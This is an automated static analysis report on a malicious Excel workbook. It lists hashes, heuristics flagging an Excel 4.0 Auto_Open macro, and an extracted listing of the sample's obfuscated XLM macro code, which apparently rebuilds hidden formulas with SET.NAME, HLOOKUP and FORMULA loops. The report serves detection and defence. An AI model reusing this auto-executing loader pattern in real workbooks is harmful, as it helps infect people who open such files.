Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c52b1c69efdfa01…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:24 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 57f6eb7c986ae82d8ac589bb45a46bee SHA-1: 08fe797ff505490dc0619d296ca96cc05522837e SHA-256: 5c52b1c69efdfa014eaa8a5c275c36c5ce85caf11a8092eb94790d647856cb09
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6726 bytes
SHA-256: fda4781ecb01ca4c510fb0c05fbc6415f884b81ffc4611b8dcd242dd91331f68
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hEOqcAEKC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H142 
' 0018     23 LABEL : Cell Value, String Constant - BbXSIcLr len=0 
' 0018     23 LABEL : Cell Value, String Constant - CAvtUeKR len=0 
' 0018     25 LABEL : Cell Value, String Constant - cBhPFhqUkZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - dGGZti len=0 
' 0018     24 LABEL : Cell Value, String Constant - ePBMKnESI len=0 
' 0018     25 LABEL : Cell Value, String Constant - faUGUhuUNO len=0 
' 0018     23 LABEL : Cell Value, String Constant - hNrrBAxi len=0 
' 0018     24 LABEL : Cell Value, String Constant - nTRyHqINF len=0 
' 0018     26 LABEL : Cell Value, String Constant - OhwwAcJNcse len=0 
' 0018     27 LABEL : Cell Value, String Constant - OWZEJvTjdCMJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - SsFaLsJVBhnF len=0 
' 0018     25 LABEL : Cell Value, String Constant - tFHooyQstC len=0 
' 0018     25 LABEL : Cell Value, String Constant - tftKaQbLuC len=0 
' 0018     22 LABEL : Cell Value, String Constant - trSHThS len=0 
' 0018     25 LABEL : Cell Value, String Constant - UpklytCHfa len=0 
' 0018     23 LABEL : Cell Value, String Constant - vKmfOhvu len=0 
' 0018     26 LABEL : Cell Value, String Constant - xBObDLVKgQI len=0 
' 0018     22 LABEL : Cell Value, String Constant - XMaxCHt len=0 
' 0018     27 LABEL : Cell Value, String Constant - XWqfpkanFLtM len=0 
' 0018     20 LABEL : Cell Value, String Constant - YRIWd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hEOqcAEKC,H69,"SET.NAME("SsFaLsJVBhnF",VALUE("0"))",""
'  hEOqcAEKC,H71,"SET.NAME("XMaxCHt",SsFaLsJVBhnF)",""
'  hEOqcAEKC,H73,"SET.NAME("ePBMKnESI",SsFaLsJVBhnF)",""
'  hEOqcAEKC,H75,"SET.NAME("cBhPFhqUkZ",COUNTA(faUGUhuUNO))",""
'  hEOqcAEKC,H78,"SET.NAME("CAvtUeKR",COUNTA(dGGZti))",""
'  hEOqcAEKC,H81,[],""
'  hEOqcAEKC,H83,"SET.NAME("UpklytCHfa","")",""
'  hEOqcAEKC,H85,"XMaxCHt",""
'  hEOqcAEKC,H87,"SET.NAME("tFHooyQstC",HLOOKUP("*",faUGUhuUNO,XMaxCHt,FALSE))",""
'  hEOqcAEKC,H89,"BbXSIcLr",""
'  hEOqcAEKC,H93,"SET.NAME("tftKaQbLuC",SsFaLsJVBhnF)",""
'  hEOqcAEKC,H95,[],""
'  hEOqcAEKC,H99,"tftKaQbLuC",""
'  hEOqcAEKC,H101,"xBObDLVKgQI",""
'  hEOqcAEKC,H105,"vKmfOhvu",""
'  hEOqcAEKC,H109,"trSHThS",""
'  hEOqcAEKC,H112,"SET.NAME("XWqfpkanFLtM",VALUE(HLOOKUP("*",dGGZti,trSHThS,FALSE)))",""
'  hEOqcAEKC,H116,"nTRyHqINF",""
'  hEOqcAEKC,H119,"UpklytCHfa",""
'  hEOqcAEKC,H121,"ePBMKnESI",""
'  hEOqcAEKC,H125,NEXT(),""
'  hEOqcAEKC,H127,"OWZEJvTjdCMJ",""
'  hEOqcAEKC,H130,"SET.NAME("f",INT(T(FORMULA(T(UpklytCHfa)&"",""&T(OWZEJvTjdCMJ)))))",""
'  hEOqcAEKC,H134,"OhwwAcJNcse",""
'  hEOqcAEKC,H136,NEXT(),""
'  hEOqcAEKC,H138,RETURN(),""
'  hEOqcAEKC,H169,"SET.NAME("YRIWd",H69)",""
'  hEOqcAEKC,H172,"faUGUhuUNO",""
'  hEOqcAEKC,H176,"SET.NAME("dGGZti",R48C12)",""
'  hEOqcAEKC,H178,"SET.NAME("OhwwAcJNcse",188)",""
'  hEOqcAEKC,H182,"SET.NAME("hNrrBAxi",8)",""
'  hEOqcAEKC,H187,YRIWd(),""
'  hEOqcAEKC,H188,HALT(),""